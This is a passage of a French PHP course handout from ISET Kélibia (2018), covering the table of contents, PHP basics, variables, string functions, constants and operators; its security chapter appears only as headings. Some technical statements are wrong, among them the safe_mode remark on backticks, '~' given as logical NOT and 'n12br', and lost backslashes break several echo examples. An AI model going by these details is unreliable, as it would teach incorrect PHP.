Cours développement côté serveur

Ministère de l’Enseignement Supérieur et de la Recherche Scientifique
Direction Générale des Études Technologiques
Institut Supérieur des Études Technologiques de Kélibia
Département des technologies de l’informatique
Support de cours et TD
2ème
année licence appliquée en informatique
Préparé par :
Houda TOUKABRI Technologue toukabri.houda@gmail.com
Version 2018
Développement côté serveur

Pré requis
 Maitriser le langage HTML
 Avoir les bases de la programmation et de l’algorithmique
Public concerné
2ème
niveau de licence appliquée en informatique
Objectif général
À l’issue de ce cours, l’étudiant sera capable de maîtriser le processus de mise en œuvre
et de développement d’une application web dynamique.
Objectifs spécifiques
 Distinguer le principe de la programmation web dynamique et du fonctionnement d’un
serveur PHP.
 Programmer avec le langage PHP
 Maîtriser le processus de mise en œuvre d’une application web dynamique avec PHP.
 Reconnaitre l’intérêt de la sécurité des pages web à travers le langage PHP
Mode d’évaluation
Contrôle continu
Charge horaire
1.5h par semaine soit 22.5 heures par semestre

Développement côté serveur Plan du cours
ISET Kélibia: H.TOUKABRI i
Plan du cours
Chapitre 1. Introduction au langage PHP ...........................................................................7
1.1. Site web statique vs site web dynamique ......................................................................8
1.1.1. Site web statique .....................................................................................................8
1.1.2. Site web dynamique................................................................................................8
1.1.3. Comparaison ...........................................................................................................9
1.2. PHP : Qu’est-ce que c’est ? ...........................................................................................9
1.2.1. Définition ................................................................................................................9
1.2.2. Origine et histoire ...................................................................................................9
1.2.3. Les caractéristiques du langage PHP ....................................................................10
1.3. Syntaxe élémentaire de PHP........................................................................................11
1.3.1. Intégration à HTML..............................................................................................11
1.3.2. Les instructions .....................................................................................................12
1.3.3. Les commentaires .................................................................................................12
1.3.4. Les instructions d’affichage..................................................................................12
Chapitre 2. Définitions des données en PHP......................................................................14
2.1. Les variables................................................................................................................16
2.1.1. Déclaration des variables ......................................................................................16
2.1.2. Types de variables.................................................................................................16
2.1.3. Les variables dynamiques.....................................................................................17
2.1.4. Les variables d’environnement.............................................................................17
2.2. Les fonctions prédéfinies de manipulation de types....................................................18
2.2.1. Fonctions de gestion des variables........................................................................18
2.2.2. Fonctions de gestion des chaînes ..........................................................................19
2.3. Les constantes..............................................................................................................20
2.3.1. Les constantes prédéfinies ....................................................................................20
2.3.2. Les constantes magiques.......................................................................................21
2.3.3. Les constantes définies par le développeur...........................................................21

ISET Kélibia: H.TOUKABRI ii
2.4. Les opérateurs..............................................................................................................21
2.4.1. Définition ..............................................................................................................21
2.4.2. Catégories des opérateurs .....................................................................................22
Chapitre 3. Les structures de contrôle ...............................................................................26
3.1. Introduction .................................................................................................................27
3.2. Structures conditionnelles............................................................................................27
3.2.1. L’instruction if else...............................................................................................27
3.2.2. La structure switch................................................................................................29
3.3. Structures répétitives ...................................................................................................31
3.3.1. L’instruction for....................................................................................................31
3.3.2. L’instruction while................................................................................................32
3.3.3. L’instruction do..while..........................................................................................33
3.4. Branchements inconditionnel ......................................................................................33
3.4.1. Saut inconditionnel (continue)..............................................................................33
3.4.2. Arrêt inconditionnel (break) .................................................................................34
Chapitre 4. Les tableaux......................................................................................................36
4.1. Qu’est-ce qu’un tableau ?............................................................................................37
4.2. Types des tableaux.......................................................................................................38
4.2.1. Tableau simple (scalaire) ......................................................................................38
4.2.2. Tableau associatif..................................................................................................38
4.3. Parcours d’un tableau ..................................................................................................38
4.3.1. Boucle for..............................................................................................................38
4.3.2. Boucle foreach ......................................................................................................39
4.3.3. La fonction print_r ................................................................................................40
4.4. Les tableaux multidimensionnels ................................................................................41
4.4.1. Définition ..............................................................................................................41
4.4.2. Accès aux éléments...............................................................................................41
4.4.3. Parcours d’un tableau multidimensionnel.............................................................42

ISET Kélibia: H.TOUKABRI iii
4.5. Opérations sur les tableaux..........................................................................................43
Chapitre 5. Les fonctions.....................................................................................................44
5.1. Qu’est-ce qu’une fonction ? ........................................................................................45
5.2. Visibilité des variables.................................................................................................45
5.3. Portée des variables .....................................................................................................46
5.4. Passage de paramètres .................................................................................................47
5.4.1. Par valeur ..............................................................................................................47
5.4.2. Par référence .........................................................................................................48
5.5. Quelques fonctions internes de PHP ...........................................................................48
5.5.1. Fonctions de gestion des arguments .....................................................................48
5.5.2. Inclusion de fichiers..............................................................................................49
5.5.3. Fonctions sur les dates ..........................................................................................49
Chapitre 6. Gestion des formulaires...................................................................................51
6.1. Introduction .................................................................................................................52
6.2. Méthode GET ..............................................................................................................52
6.3. Méthode POST ............................................................................................................53
6.4. La fonction extract.......................................................................................................53
6.5. La fonction import_request_variables.........................................................................54
6.6. Validation des données : Expressions régulières.........................................................54
6.6.1. Définition ..............................................................................................................54
6.6.2. Utilité ....................................................................................................................54
6.6.3. Syntaxe de base.....................................................................................................55
6.6.4. Fonctions de manipulation des expressions régulières .........................................57
Chapitre 7. L’orienté objet avec PHP ................................................................................59
7.1. Notion de classe...........................................................................................................61
7.1.1. Qu’est-ce qu’une classe ?......................................................................................61
7.1.2. Composition d’une classe .....................................................................................61
7.1.3. Visibilité des attributs et des méthodes.................................................................62

ISET Kélibia: H.TOUKABRI iv
7.1.4. Déclaration d’une classe .......................................................................................62
7.2. Notion d’objet..............................................................................................................63
7.2.1. Qu’est-ce qu’un objet ?.........................................................................................63
7.2.2. Création d’un objet ...............................................................................................64
7.3. Utilisation des objets ...................................................................................................64
7.3.1. Accès aux attributs................................................................................................64
7.3.2. Accès aux constantes ............................................................................................65
7.3.3. Accès aux méthodes..............................................................................................65
7.4. La variable courante $this............................................................................................66
7.5. Les méthodes magiques...............................................................................................67
7.5.1. __construct () et __destruct ()...............................................................................67
7.5.2. __get ()..................................................................................................................67
7.5.3. __set () ..................................................................................................................67
7.5.4. __isset () et __unset ()...........................................................................................68
7.5.5. __toString ()..........................................................................................................68
7.5.6. __call () .................................................................................................................68
7.5.7. __clone () ..............................................................................................................69
7.6. L’héritage.....................................................................................................................69
7.6.1. Définition ..............................................................................................................69
7.6.2. Redéfinition des méthodes....................................................................................69
7.6.3. Classe et méthode abstraite...................................................................................70
7.6.4. Classe et méthode finale .......................................................................................71
Chapitre 8. Persistance des données...................................................................................73
8.1. Gestion des fichiers .....................................................................................................75
8.1.1. Fonctions de manipulation des fichiers.................................................................75
8.1.2. Upload de fichiers.................................................................................................75
8.2. Redirection PHP ..........................................................................................................76
8.3. PDO .............................................................................................................................77
8.3.1. Définition ..............................................................................................................77

ISET Kélibia: H.TOUKABRI v
8.3.2. Gestion de connexion............................................................................................77
8.3.3. Exécution d’une requête .......................................................................................79
8.3.4. Exploitation du résultat d’une requête Select .......................................................80
8.3.5. Les requêtes préparées ..........................................................................................81
8.3.6. Gestion des erreurs................................................................................................84
8.3.7. Gestion des transactions........................................................................................85
Chapitre 9. Sessions, Cookies et E-mails............................................................................87
9.1. Les sessions .................................................................................................................88
9.1.1. Principe .................................................................................................................88
9.1.2. Utilisation..............................................................................................................88
9.1.3. Fin de session........................................................................................................89
9.2. Les cookies ..................................................................................................................89
9.2.1. Définition ..............................................................................................................89
9.2.2. Création : la fonction setcookie()..........................................................................90
9.2.3. Accès : tableau superglobal $_COOKIE ..............................................................91
9.2.4. Suppression d’un cookie.......................................................................................91
9.3. Les E-mails..................................................................................................................91
Chapitre 10. La sécurité avec PHP5...................................................................................93
10.1. Introduction ...............................................................................................................94
10.2. Attaque Cross Site Scripting (XSS)...........................................................................94
10.2.1. Définition ............................................................................................................94
10.2.2. Conséquences possibles......................................................................................94
10.2.3. Remèdes..............................................................................................................95
10.3. Attaque Cross Site Request Forgery (CSRF) ............................................................95
10.3.1. Définition ............................................................................................................95
10.3.3. Remèdes..............................................................................................................95
10.4. Attaque par injection SQL.........................................................................................96
10.4.1. Définition ............................................................................................................96

ISET Kélibia: H.TOUKABRI vi
10.4.3. Remèdes..............................................................................................................96
10.5. Attaque Local File Inclusion (LFI) ou Remote File Inclusion (RFI) ........................96
10.5.1. Définition ............................................................................................................96
10.5.3. Remèdes..............................................................................................................98
Travaux dirigés (TD) ...........................................................................................................99
TD N° 1 ............................................................................................................................100
TD N° 2 ............................................................................................................................102
TD N° 3 ............................................................................................................................104
TD N° 4 ............................................................................................................................106
TD N° 5 ............................................................................................................................108
Corrigés des TD..................................................................................................................110
Correction TD N° 1 ..........................................................................................................111
Correction TD N° 2 ..........................................................................................................114
Correction TD N° 3 ..........................................................................................................116
Correction TD N° 4 ..........................................................................................................118
Correction TD N° 5 ..........................................................................................................123
Bibliographie.......................................................................................................................127
Annexe A. Les variables d’environnement ...........................................................................i
Annexe B. Les constantes prédéfinies..................................................................................iv
Annexe C. Les constantes magiques ....................................................................................ix
Annexe D. Les fonctions de manipulation de fichiers.........................................................x

Développement côté serveur Chapitre 1. Introduction au langage PHP
ISET Kélibia: H.TOUKABRI 7
Chapitre 1. Introduction au langage PHP
À l’issue de ce chapitre l’étudiant serait capable de :
 Distinguer la différence entre un site web statique et un site web dynamique
 Reconnaitre le langage PHP et ses caractéristiques
 Intégrer du code PHP à HTML
 Manipuler les instructions élémentaires en PHP
Durée
45 mn
Plan du chapitre
1.1. Site web statique vs site web dynamique ......................................................................8
1.1.1. Site web statique .....................................................................................................8
1.1.2. Site web dynamique................................................................................................8
1.1.3. Comparaison ...........................................................................................................9
1.2. PHP : Qu’est-ce que c’est ? ...........................................................................................9
1.2.1. Définition ................................................................................................................9
1.2.2. Origine et histoire ...................................................................................................9
1.2.3. Les caractéristiques du langage PHP ....................................................................10
1.3. Syntaxe élémentaire de PHP........................................................................................11
1.3.1. Intégration à HTML..............................................................................................11
1.3.2. Les instructions .....................................................................................................12
1.3.3. Les commentaires .................................................................................................12
1.3.4. Les instructions d’affichage..................................................................................12

1.1. Site web statique vs site web dynamique
1.1.1. Site web statique
Un site web statique est un site où chacune des pages est créée en HTML. Un ordinateur (à
travers un navigateur internet) qui se connecte au serveur et demande une page. Celle-ci lui
est directement servie sans compilation ni traitement par le serveur. (Voir Figure 1-1)
Figure 1-1: Cas de page web statique
1.1.2. Site web dynamique
Un site web dynamique est un site web dont les pages sont générées à la demande. Le
contenu est obtenu en combinant différentes sources pour constituer des pages HTML. D’un
côté il y a une base de données (MySQL, Oracle, etc.), et de l’autre des fichiers dans un
langage de programmation dynamique (PHP, Java, etc.) qui à la demande d’un ordinateur se
connectant au serveur, compile la page HTML avant de la délivrer. (Voir Figure 1-2)
Figure 1-2 : Cas de page web dynamique

1.1.3. Comparaison
Site web statique Site web dynamique
Interaction
pas d’interactivité côté
serveur
interactif
Flexibilité
plus le nombre de pages
augmente plus on perd en
flexibilité
son architecture est définie dès sa création
donc il est plus adapté dans le cas de forte
volumétrie
Maintenance
très difficile voire
impossible si le nombre de
pages est important
la mise à jour des pages d’un site se fait
rapidement sans nécessiter des
compétences techniques avancées grâces
aux outils de gestion généralement intégrés
Référencement
facile grâce à des pages
HTML individualisées
plus difficile car les pages HTML sont
générées à la demande
Hébergement simple et facile
contraignant et varie selon les offres des
hébergeurs et les langages et technologies
utilisées
Coût
pas cher lors de la création
mais le coût de sa
maintenance s’accroit à long
terme
beaucoup plus cher qu’un site statique
mais ce coût s’amortie lors des opérations
de maintenance
1.2. PHP : Qu’est-ce que c’est ?
1.2.1. Définition
PHP ou Hypertext Preprocessor est un langage de script libre côté serveur. Grâce à son
interaction avec la base de données MySQL et son intégration facile dans du code HTML,
PHP est devenu le langage le plus utilisé en développement web.
1.2.2. Origine et histoire
 En 1994, le développement de PHP a été créé par Rasmus Lerdorf pour suivre le
nombre de visiteurs en ligne de son CV
 Le 8 Juin 1995, il a été rendu public

 En Avril 1996, PHP 2.0 a été lancé incluant un support interne pour les bases de
données DBM, mySQL et Postgres95, pour les cookies et un support des fonctions
définies par l’utilisateur
 En 1998, PHP 3 a été officiellement lancé
 En 1999 Suraski et Andi Gutmans produirent le Zend Engine
 Le 22 mai 2000, PHP 4 a été publié et il était propulsé par Zend Engine 1.0. Il
apportait le support de nombreux serveurs web, des sessions HTTP, la bufferisation
de sortie, une sécurité accrue de la gestion des informations visiteurs, et plusieurs
nouvelles structures de langage.
 En Juillet 2004, PHP 5 est sorti. Il est régi par son moteur, le Zend Engine 2.0 avec
un nouveau modèle objet et des dizaines d’autres nouvelles fonctionnalités
1.2.3. Les caractéristiques du langage PHP
 Licence : PHP est un langage de script interprété, gratuit, OpenSource et distribué
sous une licence autorisant la modification et la redistribution.
 Portabilité : PHP est multi-plateforme. Il sera alors très facile de déplacer une
application écrite en PHP d’un serveur Windows d’origine vers un serveur Linux
sans avoir à la modifier (ou très peu). PHP est également compatible avec n’importe
quel serveur web (Apache, IIS1
, etc.).
 Exécution : PHP interagit avec le serveur de base de données ou avec des fichiers en
entrée, construit une page HTML que le serveur web se charge de la renvoyer au
client qui la demandée.
 Apprentissage facile : PHP est un langage dit de « haut niveau » dont la syntaxe est
très proche du langage C. Cette syntaxe proche du langage naturel lui assure un
apprentissage rapide et peu de contraintes d’écriture de code.
 Richesse des fonctionnalités : Une des forces du langage PHP est sa richesse en
termes de fonctionnalités. En effet, il dispose à l’origine de plus de 3 000 fonctions
natives prêtes à l’emploi. Ces fonctions permettent de traiter les chaînes de
caractères, d’opérer mathématiquement sur des nombres, de convertir des dates, de
1
IIS (Internet Information Services) : est le serveur web de Microsoft. Il assure les mêmes fonctions qu’un
serveur web tel qu’Apache. [Wikipedia]

se connecter à un système de base de données, de manipuler des fichiers présents sur
le serveur, etc.
 Fiabilité et performance : Grâce aux efforts des différents développeurs, le langage
est maintenant devenu un langage fiable, performant et viable. Il est capable de
supporter des sites sollicités par des millions de requêtes journalières.
1.3. Syntaxe élémentaire de PHP
1.3.1. Intégration à HTML
Une page PHP :
 porte l’extension .php
 peut être codé entièrement en PHP ou mélangé avec du HTML. On dit alors que PHP
est un langage « Embedded HTML » car il peut être placé à n’importe quel endroit
d’une page HTML
 contient nécessairement l’une des balises suivantes :
- < ?php et ?>
- <script language="php"> et </script>
- <% et %>
Exemple
<html>
<head>
<title>Titre</title>
</head>
<body>
<?php
echo "Premier exemple en PHP";
?>
</body>
</html>
Le code HTML généré est le suivant :
<html>
<head>
<title>Titre</title>

</head>
<body>
Premier exemple en PHP
</body>
</html>
1.3.2. Les instructions
Une instruction se termine par « ; ». Néanmoins la balise fermante ?> peut marquer la fin
d’une instruction.
Exemple
< ?php echo "Ceci est une instruction"; ?>
< ?php echo "Ceci est aussi une instruction" ?>
Remarque
 Un bloc d’instructions est placés entre deux accolades {et}.
 Un bloc peut à son tour imbriquer un autre bloc d’instructions.
1.3.3. Les commentaires
Les commentaires peuvent s’écrire :
 Sur une seule ligne en utilisant les caractères // ou #
 Sur plusieurs lignes en les entourant par les caractères /* et */
Exemple
<?php //Ceci est un commentaire sur une seule ligne
#Ceci est un commentaire sur une seule ligne
/*Ceci est un commentaire sur
Plusieurs lignes*/?>
1.3.4. Les instructions d’affichage
Deux instructions sont généralement utilisées :

 L’instruction print s’utilise avec des parenthèses : print ('message')
 L’instruction echo permet d’afficher du texte et des balises HTML. On peut l’utiliser
par des guillemets ou des apostrophes.
Remarque
 Si l’on souhaite afficher un message contenant des guillemets, il est préférable de
l’encadrer par des apostrophes et vice versa.
 Cadrer un message contenant des guillemets (respectivement apostrophes) par des
guillemets (respectivement apostrophes) doit s’accompagner par l’utilisation du
caractère d’échappement « ».
 L’affichage d’un contenu de variables ne s’accompagne pas d’apostrophes ou
guillemets. Cependant, cadrer une variable par des guillemets entraîne l’évaluation
de celle-ci, ce qui n’est pas le cas des apostrophes.
 La concaténation de deux messages est faite par les caractère « . » ou « , ».
Exemple
<?php
$a = 20 ;
echo "message avec guillemets";
echo 'message avec apostrophes’ ;
echo "C'est le groupe "MDW" ";
echo 'C'est le groupe "MDW" ' ;
echo "<p align="center">message au centre</p>";
echo '<p align="center">message au centre</p>';
echo $a ; //affiche la valeur 20
echo "$a = ", $a ; //affiche 20 = 20.
echo "$a = ". "$a" ; //affiche $a = 20
?>

Développement côté serveur Chapitre 2. Définitions des données en PHP
Chapitre 2. Définitions des données en PHP
 Distinguer les types de variables en PHP
 Reconnaitre la panoplie de fonctions prédéfinies de manipulation de types
 Reconnaitre une constante, une constante prédéfinie et une constate magique
 Distinguer les différentes catégories d’opérateurs
Durée
45 mn
Plan du chapitre
2.1. Les variables................................................................................................................16
2.1.1. Déclaration des variables ......................................................................................16
2.1.2. Types de variables.................................................................................................16
2.1.3. Les variables dynamiques.....................................................................................17
2.1.4. Les variables d’environnement.............................................................................17
2.2. Les fonctions prédéfinies de manipulation de types....................................................18
2.2.1. Fonctions de gestion des variables........................................................................18
2.2.2. Fonctions de gestion des chaînes ..........................................................................19
2.2.2.1. Sortie vers le navigateur.................................................................................19
2.2.2.2. Recherche, comparaison et fragmentation .....................................................19
2.2.2.3. Transformation, conversions..........................................................................20
2.2.2.4. Suppression ....................................................................................................20
2.2.2.5. Divers .............................................................................................................20
2.3. Les constantes..............................................................................................................20
2.3.1. Les constantes prédéfinies ....................................................................................20
2.3.2. Les constantes magiques.......................................................................................21

2.3.3. Les constantes définies par le développeur...........................................................21
2.4. Les opérateurs..............................................................................................................21
2.4.1. Définition ..............................................................................................................21
2.4.2. Catégories des opérateurs .....................................................................................22
2.4.2.1. La valeur des variables est modifiée ..............................................................22
2.4.2.2. La valeur des variables n’est pas modifiée.....................................................23
2.4.2.3. Autres .............................................................................................................25

2.1. Les variables
2.1.1. Déclaration des variables
Une variable est un objet ou une information stockée en mémoire temporairement. En effet, la
variable existe tant que la page est en cours de génération. Une variable est caractérisée par un
nom significatif et une valeur.
Un nom de variable valide commence par une lettre ou un souligné « _ », suivi de lettres,
chiffres ou soulignés. Pour déclarer une variable, on place le symbole « $ » devant son nom.
Remarque
 Un script PHP ne contient pas une partie déclarative clairement définie. Pour définir
une variable, il suffit de l’initialiser.
 Le nom d’une variable est sensible à la casse (majuscule / minuscule).
 Une variable ne doit pas commencer par un chiffre.
 L’affectation d’une valeur à une variable se fait à travers le signe « = » suivi d’un « ; »
pour marquer la fin de l’instruction.
 Après l’exécution du programme toutes les variables sont supprimées de la mémoire.
Exemple
$var=1; // $var est à 1
$Var=2; // $ Var est à 2
$_toto='Salut'; // Ok
$3toto=5; // Invalide : commence par un chiffre
2.1.2. Types de variables
En PHP, les variables prennent le type des données qui leurs sont affectées. Il n’est pas
obligatoire de préciser le type. Néanmoins, on distingue donc :
 Entier (int, integer) : pour les nombres entiers relatifs
 Décimal (real, float, double) : pour les nombres réels. Les nombres s’écrivent avec un
point et non pas une virgule

 Chaîne de caractères (string) : pour les chaînes de caractères. Tout texte est
habituellement écrit entre guillemets « "" » ou entre apostrophes « '' ». Le caractère
d’échappement est « » dans le cas ou il y a imbrication de guillemets ou
d’apostrophes.
 Booléen (boolean) : pour les données ayant vrai ou faux comme valeurs. On note true
pour vrai et false pour faux. Ce type est valable à partir de PHP4.
 Tableau (array) : pour stocker des données du même type
 Objet (object) : pour stocker des instances de classes
Par ailleurs, PHP propose deux autres types particuliers :
 NULL : pour des valeurs de type non définie. On parle de l’absence de type.
 ressource : retournées fréquemment par des fonctions accédant à des ressources
externes (fichiers, BD, etc.). elles sont rarement manipulées.
2.1.3. Les variables dynamiques
Une variable dynamique prend la valeur d’une variable et l’utilise comme nom d’une autre
variable. Une variable dynamique se distingue par le nombre de « $ » qui la précède.
Exemple
<?php
$a = 'bonjour'; //variable simple
$$a = 'monde'; //variable de variable ou variable dynamique
echo "$a ${$a}"; //affiche bonjour monde
echo "$a $bonjour"; //affiche bonjour monde
?>
2.1.4. Les variables d’environnement
Les variables d’environnement permettent au programme d’avoir des informations sur son
environnement. Dans le cas d’un script PHP, l’environnement est défini par le serveur et le
client.

Ces variables sont créées par le serveur à chaque appel de script. Elles permettent d’avoir des
informations sur le type de serveur, son administrateur, la date à laquelle le script a été appelé,
l’adresse IP et le type de navigateur du client, etc.
Ces variables se déclinent en deux catégories : (Voir Annexe A)
 Les variables dépendant du serveur
 Les variables dépendant du client
Remarque
 Pour retourner la valeur d’une variable d’environnement, on peut utiliser la fonction
getenv("NOM_VARIABLE") ;
 Il est possible de définir des variables d’environnement à l’aide de la fonction
putenv("MA_VARIABLE=mavaleur");
2.2. Les fonctions prédéfinies de manipulation de types
2.2.1. Fonctions de gestion des variables
Certaines fonctions à retour booléen sont utilisées pour reconnaitre le type de la variable.
Parmi lesquelles :
 bool is_array ($var) : indique si $var est un tableau.
 bool is_float ($var) : indique si $var est un nombre décimal. Les fonctions is_double()
et is_real() sont des alias de is_float().
 bool is_int ($var) : indique si $var est un nombre entier. Les fonctions is_long() et
is_integer() sont des alias de is_int().
 bool is_string ($var) : indique si $var est une chaîne de caractères.
 bool is_object ($var) : indique si $var est de type objet.
 bool is_resource ($var) : détermine si $var est une ressource.
 bool is_null ($var) : indique si $var vaut NULL.
 bool is_scalar ($var) : détermine si la variable $var est scalaire, c’est à dire si c’est un
entier, une chaîne, un double ou booléen.
 bool is_numeric ($var) : détermine si la variable $var est un nombre ou une chaîne
numérique.

Trois fonctions sont utilisées pour savoir l’état d’une variable :
 bool isset ($var) : retourne true ou false selon que la variable passée en paramètre
existe et différente de NULL.
 void unset ($var) : supprime la variable passée en paramètre.
 bool empty($var) : retourne un booléen selon que la variable est non vide et non nulle.
2.2.2. Fonctions de gestion des chaînes2
2.2.2.1. Sortie vers le navigateur
 echo chaine : renvoie la chaine vers la sortie standard.
 print (string chaine) : renvoie la chaine vers la sortie standard.
 printf (string chaine, arguments) : fonction tirée du C. Elle renvoie vers la sortie
standard les arguments en utilisant la chaine.
 flush() : vide les buffers de sortie.
2.2.2.2. Recherche, comparaison et fragmentation
 int strlen(string chaine) : retourne la longueur de la chaine.
 int strcmp (string chaine1, string chaine2) : comparaison sensible à la case.
 string strchr (string chaine1, char car) : recherche la première occurrence d’un
caractère. Elle retourne une sous chaîne à partir du caractère à trouver.
 int strrpos (string chaine1, string chaine2) : recherche la dernière occurrence de
chaine2 dans chaine1.
 int strpos (string chaine1, string chaine2) : recherche la première occurrence de
chaine2 dans chaine1.
 string str_replace (string chaine1, string chaine2, string chaine3) : remplace toutes les
occurrences de chaine1 dans chaine3 par chaine2.
 string strtr(string chaine1, char car1, char car2) : remplace toutes les occurrences
d’un caractère (car1) par un autre (car2) dans chaine1.
 string substr (string chaine, int deb) : retourne une partie de la chaine.
2
Liste non exhaustive

 string strtok (string delim) : découpe la chaine en plusieurs chaines en utilisant les
caractères de delim.
2.2.2.3. Transformation, conversions
 string strtolower (string chaine) : met tous les caractères en minuscule.
 string strtoupper (string chaine) : met tous les caractères en majuscule.
 string strrev (string chaine) : inverse une chaine.
 string n12br (string chaine) : convertit les "n" en "<br>".
2.2.2.4. Suppression
 string chop (string chaine) : enlève les espaces de fin de chaine.
 string trim (string chaine) : enlève les espaces au début et à la fin de la chaine.
 string ltrim (string chaine) : enlève les espaces de début de chaine.
2.2.2.5. Divers
 string sprintf (string chaine, arguments) : retourne une chaine construite avec les
arguments en utilisant la chaine.
 int ord (char chaine) : retourne la valeur ASCII du caractère.
 char chr (int code_ascii) : retourne un caractère.
 string bin2hex (string chaine) : convertit une valeur binaire en hexadécimal.
 string md5 (string chaine) : calcule un md5 avec la chaine.
2.3. Les constantes
2.3.1. Les constantes prédéfinies
Ces constantes sont définies par le cœur de PHP. Cela inclut notamment PHP, le moteur Zend
et les modules SAPI3
. (Voir Annexe B )
3
Server Application Programming Interface (SAPI), l’interface de programmation des applications serveurs, est
le terme générique utilisé en informatique pour désigner les modules d’interface d’applications serveur web.

2.3.2. Les constantes magiques
PHP fournit un grand nombre de constantes magiques. Cependant, il y a huit constantes
magiques qui changent suivant l’emplacement où elles sont utilisées. (Voir Annexe C).
2.3.3. Les constantes définies par le développeur
Une constante est une variable dont le contenu est initialisé à une valeur fixe et ne peut être
modifié. Pour définir une constante, on utilise la fonction define (nomConstante, valeur). La
définition d’une constante doit obéir aux règles suivantes :
 une constante ne commence pas par un $
 une constante est accessible depuis n’importe quel endroit du code
 une constante ne peut pas être redéfinie
 une constante ne peut contenir qu’un scalaire (entier, booléen, chaîne, double).
Remarque
 Les noms des constantes sont sensibles à la casse.
 Par convention, le nom d’une constante est écrit en majuscule.
 On peut tester l’existence d’une constante en utilisant la fonction defined(nom
constante).
Exemple
define(CONSTANTE,"valeur");
echo CONSTANTE; //affiche "valeur"
define("PI", 3.14);
echo PI; //affiche 3.14
2.4. Les opérateurs
2.4.1. Définition
Un opérateur est un symbole qui indique la réalisation d’une opération. Les variables mis en
jeu lors d’une opération peuvent être simplement consultées ou modifiées.

2.4.2. Catégories des opérateurs
PHP dispose des opérateurs utilisés en langage C ainsi que d’autres inspirés du langage Perl.
Ces opérateurs sont répartis en trois familles selon la modification de valeurs des variables.
2.4.2.1. La valeur des variables est modifiée
 Opérateurs d’affectation : l’affectation consiste à attribuer une valeur à une variable.
Opérateur Signification
= affectation simple
+= addition puis affectation
-= soustraction puis affectation
*= multiplication puis affectation
/= division puis affectation
%= modulo puis affectation
|= ou puis affectation
&= et puis affectation
=> associe une valeur à une clé dans un tableau
-> réalise un appel de méthode
Tableau 2-1 : Les opérateurs d’affectation
 Opérateurs d’incrémentation/décrémentation : Il s’agit d’opérateurs permettant
l’augmentation ou la diminution de la valeur d’une variable. L’incrémentation
fonctionne également avec les lettres. (Non valide pour la décrémentation).
Opérateur Nom Résultat
++$a Pré-incrément Incrémente $a d’un, puis renvoie $a.
$a++ Post-incrément Renvoie $a, puis incrémente $a de un.
--$a Pré-décrément Décrémente $a d’un, puis renvoie $a.
$a-- Post-décrément Renvoie $a, puis décrémente $a d’un.

Tableau 2-2 : Les opérateurs d’incrémentation/décrémentation
 Opérateurs de décalage de bits : ce type d’opérateurs permet d’effectuer des
opérations bit à bit sur des nombre binaires.
Opérateur Opération Résultats
& ET 1&1=1; 1&0=0; 0&1=0; 0&0=0;
| OU 1|1=1; 1|0=1; 0|1=1; 0|0=0;
^ OU EXCLUSIF 1^1=0; 1^0=1; 0^1=1; 0^0=0;
~ NON ~1=0 ; ~0=1;
Tableau 2-3 : Les opérateurs binaires
2.4.2.2. La valeur des variables n’est pas modifiée
 Opérateurs arithmétiques : C’est les opérateurs de calcul arithmétique.
Opérateur Opération
+ addition
- soustraction
/ division
* multiplication
% modulo
: reste de la division
** exposant
Tableau 2-4 : Les opérateurs arithmétiques
 Opérateurs de comparaison : Ces opérateurs sont utilisés pour réaliser les tests
essentiellement dans les instructions de contrôle. Le résultat de test est booléen.
Exemple Opération Résultat
$a == $b Égal Vrai si les valeurs de $a et $b sont égales
$a === $b Identique
Vrai si $a == $b et si $a et $b sont de même type.
(PHP4)
$a != $b
ou
Non égal Vrai si $a n’est pas égal à $b.

$a <> $b
$a !== $b Non identique
Vrai si $a n’est pas égal à $b,
ou si $a et $b sont de types différents (PHP 4).
$a < $b Plus petit que Vrai si $a est plus petit que $b.
$a > $b Plus grand que Vrai si $a est plus grand que $b.
$a <= $b
Plus petit ou égal
à
Vrai si $a est plus petit ou égal à $b
$a >= $b
Plus grand ou
égal à
Vrai si $a est plus grand ou égal à $b.
Tableau 2-5 : Les opérateurs de comparaison
 Opérateurs logiques : Une variable n’est à l’état « vrai » que si elle est non vide et
différente de 0. Les opérateurs logiques sont utilisés dans les instructions de contrôle.
Exemple Opération Résultat
$a and $b
ou
$a && $b
AND Vrai si $a et $b sont vrais
$a or $b
ou
$a || $b
OR Vrai si $a, ou $b, ou les deux, sont vrais
$a xor $b
ou
$a ^ $b
XOR Vrai si un et un seul parmi $a ou $b est vrai
! $a
~ $a
NOT Vrai si $a est faux.
Tableau 2-6 : Les opérateurs logiques
 Opérateur ternaire : C’est l’opérateur de test ternaire « ? ». Sa syntaxe est :
[test logique] ? [expression si vrai] : [expression si faux]
 Opérateurs sur les chaînes : Deux opérateurs sont utilisés. L’opérateur de
concaténation « . » et l’opérateur combiné « .= ».

2.4.2.3. Autres
 Opérateurs d’erreur : L’opérateur « @ » appliqué à une expression empêche la sortie
de message d’erreur en cas de problème. On peut toujours récupérer le message
d’erreur éventuel via la variable $php_errormsg si l’option « track_errors » est à « On
» dans le php.ini.
 Opérateurs d’exécution : On peut exécuter des commandes externes au PHP comme
en Shell avec les opérateurs guillemets inverses « ` » (altgr+7). L’option « safe_mode
» doit être à « On » dans le php.ini. On peut aussi utiliser la fonction « shell_exec »
qui fait exécuter une commande par le Shell.
 Opérateurs sur les tableaux : l’opérateur « + » est exploité par les tableaux pour
réaliser la somme entre eux.

Développement côté serveur Chapitre 3. Les structures de contrôle
Chapitre 3. Les structures de contrôle
 Distinguer les différentes instructions conditionnelles et répétitives
 Ecrire des scripts utilisant les structures conditionnelles et répétitives
 Expliquer les mécanismes de branchements inconditionnels
Durée
1h30
Plan du chapitre
3.1. Introduction .................................................................................................................27
3.2. Structures conditionnelles............................................................................................27
3.2.1. L’instruction if else...............................................................................................27
3.2.2. La structure switch................................................................................................29
3.3. Structures répétitives ...................................................................................................31
3.3.1. L’instruction for....................................................................................................31
3.3.2. L’instruction while................................................................................................32
3.3.3. L’instruction do..while..........................................................................................33
3.4. Branchements inconditionnel ......................................................................................33
3.4.1. Saut inconditionnel (continue)..............................................................................33
3.4.2. Arrêt inconditionnel (break) .................................................................................34

3.1. Introduction
Un script PHP est une suite d’instructions. Une instruction peut être :
 Une affectation
 Un appel de fonction, de procédure, de classe ou de pseudo-fonction (echo, print)
 Une inclusion d’une autre source
 Une structure affectant le déroulement du programme :
- Une instruction conditionnelle
- Une boucle
3.2. Structures conditionnelles
3.2.1. L’instruction if else
L’expression if...else permet d’exécuter une autre série d’instructions en cas de non-
réalisation de la condition.
Syntaxe
<?php if (condition réalisée)
{
bloc 1 d’instructions ;
}
else
{
bloc 2 d’instructions ;
} ?>
Remarque
Les instructions situées dans le bloc qui suit else (bloc 2) sont les instructions qui seront
exécutées si la ou les conditions ne sont pas remplies.
Exemple
<?php
